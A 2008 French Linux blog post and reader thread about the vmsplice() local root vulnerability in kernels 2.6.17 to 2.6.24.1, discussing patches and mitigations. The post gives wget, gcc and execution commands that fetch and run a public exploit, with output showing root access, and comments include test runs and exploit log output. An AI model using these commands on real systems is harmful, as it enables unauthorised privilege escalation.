Local Root Exploit sous Linux


video
Une faille critique a été découverte dans les noyaux Linux, des versions 2.6.17 à 2.6.24.1. Cette dernière exploite un bug dans l'appel système vmsplice(). Cet exploit me semble plutôt dangereux puisqu'il permet de passer root depuis un simple compte utilisateur.

Voici un exemple d'utilisation :

wget www.tux-planet.fr/public/hack/exploits/kernel/vmsplice-local-root-exploit.c
gcc -o vmsplice-local-root-exploit vmsplice-local-root-exploit.c
./vmsplice-local-root-exploit
...
[root@localhost tmp]# id
uid=0(root) gid=0(root) groups=505(sbilbeau)

Je me permets donc de rappeler quelques règles de sécurité à respecter pour des serveurs Linux en production :

1. ne jamais installer de compilateurs (gcc, g++, javac ...)
2. mettre le système à jour régulièrement ou de façon automatique
3. quand il y a une mise à jour du noyau, pensez à rebooter la machine pour que les modifications soient prises en compte


25 Commentaires pour "Local Root Exploit sous Linux"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    Le fait de ne pas installer de compilateur ne change rien. Là, tu télécharges la source de l'exploit puis tu la compile. Mais un virus peut tout aussi bien récupérer directement un binaire sur internet, le rendre exécutable et l'exécuter. Voir être lui même ce binaire...

    RépondreRépondre
    Jérémy , le 12 février 2008 à 13:21
  •  

    @Jérémy : effectivement, je n'y avait pas pensé.

    Néanmoins, ne pas mettre de compilateur me semble une bonne initiative, dans le sens ou cela réduira toujours un peu plus les possibilités d'actions pour les hackeurs.

    RépondreRépondre
    pti-seb , le 12 février 2008 à 14:08
  •  

    Wow, ça marche redoutablement bien :/ Sinon je suis assez d'accord avec Jérémy, ne pas installer les compilos ne change pas grand chose, sauf si c'est une archi autre que i86 bien sur.

    RépondreRépondre
    Ulhume , le 12 février 2008 à 15:47
  •  

    Un bonne protection est de limiter les droits du root, avec SElinux par exemple. ( cf semanage login/user)
    Il faut aussi limiter au maximun le nombre d'utlisateurs pouvant se connecter.

    RépondreRépondre
    william , le 12 février 2008 à 15:56
  •  

    Faut préciser qu'une mise à jour du noyau était disponible le lendemain et que l'exploit ne marche déjà plus.

    RépondreRépondre
    Temet , le 12 février 2008 à 16:01
  •  

    @Temet : oui j'ai oublié de précisé, le noyau 2.6.24.2 corrige la faille.

    De toute façon, la rapidité des sorties de correctifs dans le monde du libre n'a plus besoin de faire ces preuves. En revanche le vrai problème lorsqu'on découvre un faille au niveau du noyau, est qu'il faut rebooter toutes les machines.

    Dans un environnement en production, c'est jamais une chose facile et cela peux avoir beaucoup de conséquences, surtout si on héberge des services critiques.

    @William : dans le cas ici, pense tu vraiment que SELinux peux y changer beaucoup ? Parce que quand tu passe root, tu peux tout faire, même désactiver SElinux ...

    RépondreRépondre
    pti-seb , le 12 février 2008 à 16:18
  •  

    @Pti-seb : j'ai pas testé mais avec SElinux tu peux être root et ne pas pouvoir changer un fichier ...
    => RBAC

    RépondreRépondre
    william , le 12 février 2008 à 16:47
  •  

    Alors en revanche moi j'ai essayé de comprendre les lignes de codes suivantes.. Et je me fais des noeuds au cerveau:

    210 /*****/
    211 pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
    212 pages[1] = pages[0] + 1;

    Le mec il touche sa bille, moi je dis..

    RépondreRépondre
    freeflyer , le 12 février 2008 à 17:17
  •  

    @ptit-seb/temet :

    petite modération.. Le fait que la faille soit sortie n'implique pas obligatoirement que l'exploit ne fonctionne pas. Plusieurs scénarios
    - Prod sérieuse :
    J'ai une faille, je passe le fix en homologation, je fais des tests de non-régression et je passe en prod.. quand les users sont OK pour l'interruption de service.

    - Admin System "touriste"
    Je n'ai pas connaissance de la faille, je ne fais rien

    -Admin systeme classique (RED HAT, SUZE, MANDRIVA ou autre)
    J'attends simplement que l'éditeur sorte le fix en update.. (pour info mandriva 2008 est en 2.6.22-12)

    Donc non, la faille marchera encore un certain temps..

    RépondreRépondre
    freeflyer , le 12 février 2008 à 17:22
  •  

    J'ai essayé sur ma F8, mais ça ne marche pas...

    uname -r
    2.6.23.14-115.fc8

    ./vmsplice-local-root-exploit
    -----------------------------------
    Linux vmsplice Local Root Exploit
    By qaaz
    -----------------------------------
    [+] mmap: 0x0 .. 0x1000
    [+] page: 0x0
    [+] page: 0x20
    [+] mmap: 0x4000 .. 0x5000
    [+] page: 0x4000
    [+] page: 0x4020
    [+] mmap: 0x1000 .. 0x2000
    [+] page: 0x1000
    [+] mmap: 0xb7eb6000 .. 0xb7ee8000
    [-] wtf

    RépondreRépondre
    boarf , le 12 février 2008 à 18:21
  •  

    [+] page: 0x1000
    [+] mmap: 0xb7d9c000 .. 0xb7dce000
    [-] vmsplice: Bad address

    Bon, corrigé dans la 2.6.17-17mdv

    RépondreRépondre
    Ulhume , le 12 février 2008 à 21:14
  •  

    T'es pas le seul.
    J'ai vu un mec sur le forum gentoo en 2.6.24-1 vanilla et ça ne marche pas non plus.
    Chez moi ça marche ...

    temet@gentoo ~ $ uname -a
    Linux gentoo 2.6.21-ck2 #6 Tue Oct 30 19:45:13 CET 2007 i686 AMD Athlon(tm) XP 2600+ AuthenticAMD GNU/Linux

    Bon ... mon noyau n'est pas de première fraicheur... mais tant qu'il marche, c'est tout ce que je lui demande ^^

    RépondreRépondre
    Temet , le 12 février 2008 à 21:18
  •  

    Chez moi, ça marche tout seul, cf dernier billet suur mon blog.

    RépondreRépondre
    Zic , le 12 février 2008 à 21:54
  •  

    @Boarf : sous ma FC8, cela fonctionne. Faut dire que cela fait un moment que j'ai pas fait de mise à jour et je suppose que les mecs de chez Redhat on rapidement patché le Kernel.

    @Freeflyer : je connais quelque base du language c, mais là je suis comme toi, je pige pas grand chose au code. C'est assez dommage, j'aurais bien aimé savoir où était l'erreur de programmation et comment on l'exploite.

    Sinon chez OVH, il on déjà patché leurs serveurs mutualisés visiblement. C'est plutôt bon signe cette réactivité, vu le nombre de sites qu'ils hébergent, je vous raconte pas les dégâts si un mec passe root sur leur infrastructure.

    RépondreRépondre
    pti-seb , le 12 février 2008 à 23:09
  •  

    Il ne faut pas oublier qu'un serveur ftp donnant un user en /bin/bash ou tout simplement un system(); en php permet de corrompre un serveur.
    Bonne réactivié du coté de chez debian.
    Le soucis içi, c'est que l'exploit est sortis avant l'adivso chez kernel.org.

    RépondreRépondre
    Julien , le 12 février 2008 à 23:33
  •  

    @Julien : cela arrive parfois, je me souviens d'une faille dans Dotclear il y a quelques mois, ou le mec c'est vanté et a expliqué comment l'exploité avant même de prévenir les développeurs.

    C'est sûr, c'est pas forcément la meilleure méthode à utiliser.

    RépondreRépondre
    pti-seb , le 12 février 2008 à 23:42
  •  

    @Julien: un serveur ftp avec bash? Je ne vois pas vraiment de quel genre de fonctionnalité vous parlez. Un serveur ftp a un nombre restreint et défini de commandes possibles, et l'exécution arbitraire de binaires personnels (ou de ceux du système sous-jacent) ne fait normalement pas partie de ces commandes.
    Pour exploiter la faille, il faut plutôt un accès comme ssh, ou même telnet tout bêtement (ainsi que d'autres protocoles qui peuvent donner un shell viable), qui là en effet donne un réel accès à un compte du serveur.

    Par contre, des appels de types "system" dans un code quelconque (sur un site web par ex) donneront en effet un accès en tant que propriétaire du dit-fichier. C'est néanmoins déjà une faille assez méchante si un site permet d'insérer ses propres commandes en paramètre, pas autant que la faille du kernel découverte là, mais qui permettra donc de faire une montée de privilège en deux étapes (ou plus).

    @Pti-seb : comme déjà dit plus haut, je doute que ce genre de "protection" soit très pertinent. Il est bien plus simple et rapide d'envoyer un binaire quand on a un compte sur une machine. Ca peut diminuer très légèrement le risque dans des cas assez rares et très particuliers (où la connexion est possible, mais le transfert est impossible... mais en général quand on a un accès sur une machine, il y a énormément de moyens d'arriver à transférer un fichier, parfois très inattendus!).

    Quant au point 2 de mise à jour régulière, sur un serveur de production, cela ne peut marcher que pour les serveurs personnels, ou professionnels mais avec un nombre réduit de serveurs, de petites communautés, etc.. Mais quand on parle d'administration de réseaux énormes (centaines ou milliers de serveurs), dans des entreprises très importantes, jamais vous ne verrez cela. Ne serait-ce que pour le reboot des serveurs que vous soulevez au point 3, et surtout le "risque" que quelque chose cloche pendant le processus... surtout que sur des milliers de serveurs à rebooter, il y en aura toujours une part où cela ne fonctionnera pas (pas forcément à cause de la mise à jour elle-même. Des fois par exemple, certains "problèmes" peuvent être créés mais affecter uniquement la machine au reboot, et donc stagner comme une épée de Damoclès pendant des années sans que personne ne le sache en attendant ce fameux reboot), etc.
    Bye!

    RépondreRépondre
    Jey , le 13 février 2008 à 17:27
  •  

    @Jey
    />
    Un pureftpd configuré avec des comptes users comme clients permet à ces derniers d'accéder à la machine via ssh.

    RépondreRépondre
    Julien , le 13 février 2008 à 18:01
  •  

    Oui enfin ceux qui laissent un accès ssh au gens sans faire exprès méritent des baffes ...
    Pour le ftp en compte système il suffit de ne pas permettre aux comptes de se logger ( /bin/false comme shell, etc )

    RépondreRépondre
    Vincent , le 13 février 2008 à 18:36
  •  

    Compile même pas sur mon macbook (powerpc / debian).

    RépondreRépondre
    visiteur , le 15 février 2008 à 15:44
  •  

    > Compile même pas sur mon macbook (powerpc / debian).

    Euh tu pensais vraiment qu'un source C avec de l'assembleur i386 dedans allait compiler sur powerpc ?
    (Pis en power pc comme ça serait pas plutôt un powerbook ou un ibook ?)

    RépondreRépondre
    freeflyer , le 15 février 2008 à 15:50
  •  

    @Visiteur : effectivement, le code de l'exploit n'a pas été pensé pour cette architecture.

    RépondreRépondre
    pti-seb , le 15 février 2008 à 16:37
  •  

    @Vincent :
    Clairement, mais c'est fréquent le cas.

    RépondreRépondre
    Julien , le 15 février 2008 à 17:12
  •  

    Une petite information intéressante, fournit pas distrowatch, qui permet de voir combien de temps on mit chaque distribution, pour publier un patch afin de contrer cette faille :

    Distribution => Delay
    Debian GNU/Linux => +0 hours
    Fedora => +8 hours
    Slackware Linux => +12 hours
    Mandriva Linux => +19 hours
    Frugalware Linux => +21 hours
    openSUSE => +23 hours
    rPath Linux => +26 hours
    Red Hat Enterprise Linux => +27 hours
    Ubuntu => +27 hours
    CentOS => +37 hours

    On remarque que la plupart des distributions ont réagi très rapidement.

    RépondreRépondre
    pti-seb , le 18 février 2008 à 19:25
  •  

    C'est mieux en ajoutant cette ligne :
    chmod 777 vmsplice-local-root-exploit.c

    (^ ^,)

    RépondreRépondre
    k3vin mitnick , le 18 août 2008 à 14:31
 

Ajouter un commentaire

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité redhat red hat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum